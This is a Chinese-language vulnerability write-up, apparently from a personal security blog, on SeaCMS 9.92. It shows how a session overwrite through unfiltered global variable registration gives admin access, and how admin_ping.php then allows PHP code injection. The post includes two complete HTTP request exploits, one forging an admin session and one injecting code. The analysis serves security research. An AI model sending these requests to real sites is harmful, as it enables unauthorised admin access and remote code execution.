seacms从变量覆盖到getshell

官网地址:https://www.seacms.net

网站版本确认:http://website/data/admin/ver.txt

当前最新版本:https://www.seacms.net/api/ver.js

CMS下载地址:https://www.seacms.net/seacms.zip

前几天看到朋友在 Freebuf 发的 seacms 9.92全局变量覆盖从越权到RCE 文章,其实这个地方在1个月前审计另外一个洞的时候也发现了,这里简单记录下。

这个漏洞,主要是利用了覆盖全局变量,然后越权使用后台功能进行 getshell 。有点不好利用的是需要知道网站的后台路径,而 seacms 的后台路径是随机命名的。

seacms 中多数程序在开头都会包含 include/common.php 文件。该文件主要会做两件事。先将 $_GET、$_POST、$_COOKIE 注册成全局变量。(下图对应文件位置:include/filter.inc.php)

1

然后再检查这里是否存在非法变量名。不觉的这里有问题吗?正常逻辑应该是先检查变量名是否合法,然后再注册变量。还有一个问题就是,这里漏过滤了 _SESSION、_FILES 。(下图对应文件位置:include/common.php)

2

由于这个错误的逻辑,导致我们只要找到使用 session_start 并包含 include/common.php 文件的地方,就可以覆盖 session 。接下来,我们直接看程序对 admin 用户身份的识别,身份验证代码如下。

3

可以看到,代码主要是对 $_SESSION[‘sea_admin_id’]、$_SESSION[‘hashstr’] 两个变量进行了验证。前一个变量很好覆盖,但是后一个变量是由数据库名、账号、密码拼接的md5值,不好猜测。我们要想办法寻找泄露这个值的地方,或者寻找可以直接利用这个值的地方。

很巧的是, seacms 提供了普通用户注册的功能。当登录普通用户的时候,程序就会给我们设置 $_SESSION[‘hashstr’] ,具体代码如下。(下图对应文件位置:login.php)

4

所以最后的 EXP 如下,其中 _SESSION[sea_ckstr] 为小写验证码(必需项)。

1
2
3
4
5
6
7
8
POST /seacms992/login.php HTTP/1.1
Host: 0.0.0.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ot3pjfmngfkugktsk9ajns5336
Connection: close
Content-Length: 97

dopost=login&userid=demo&pwd=demo&validate=XWTZ&_SESSION[sea_admin_id]=1&_SESSION[sea_ckstr]=xwtz

通过发送上面的数据包,我们就可以覆盖 session ,接着直接访问后台地址就可以越权登录了。

5

接下来就是找后台 RCE 了,直接打开文件监控程序,1分钟内找到 RCE 点,具体不分析了,没意思。

6

EXP 如下:

1
2
3
4
5
6
7
POST /seacms992/59og6c/admin_ping.php?action=set HTTP/1.1
Host: 0.0.0.0
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=ot3pjfmngfkugktsk9ajns5336
Connection: close

weburl=";phpinfo();//&token=123456789
文章作者: Mochazz
文章链接: https://mochazz.github.io/2019/08/26/seacms从变量覆盖到getshell/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog